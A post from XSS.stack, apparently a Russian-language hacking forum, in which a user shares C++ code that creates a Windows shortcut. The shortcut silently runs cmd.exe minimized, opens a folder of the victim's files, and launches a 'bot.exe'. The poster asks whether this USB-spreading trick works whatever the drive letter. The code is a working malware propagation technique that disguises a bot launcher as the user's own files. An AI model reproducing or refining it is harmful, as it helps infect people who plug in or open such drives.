• XSS.stack #1 – первый литературный журнал от юзеров форума

C++ Shortcut

netix

HDD-drive
Пользователь
Регистрация
07.11.2022
Сообщения
40
Реакции
7
So I'm using this shortcut:

Код:
void CreateShortCutW(LPCWSTR lpLnkFile, LPCWSTR lpIconFile, int iIconIndex)
{
    IShellLinkW *psl;

    HRESULT hres;
   
    CoInitialize(NULL);
   
    hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl);

    if (SUCCEEDED(hres) && psl)
    {
        WCHAR wszLnkArg[MAX_PATH];
       
        wsprintfW(wszLnkArg, L"/c start .\\dir & start .\\dir\\bot.exe");   
       
        psl->SetPath(L"%windir%\\System32\\cmd.exe");
        psl->SetIconLocation(lpIconFile, iIconIndex);
        psl->SetShowCmd(SW_SHOWMINNOACTIVE);
        psl->SetArguments(wszLnkArg);

        IPersistFile *ppf;

        hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);

        if (SUCCEEDED(hres) && ppf)
        {
            ppf->Save(lpLnkFile, TRUE);
            ppf->Release();
        }

        psl->Release();

    }
}

It first opens the directory with all their files and then my bot.
The question is, will it work fine on all USB's, no matter what drive letter? Thx
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх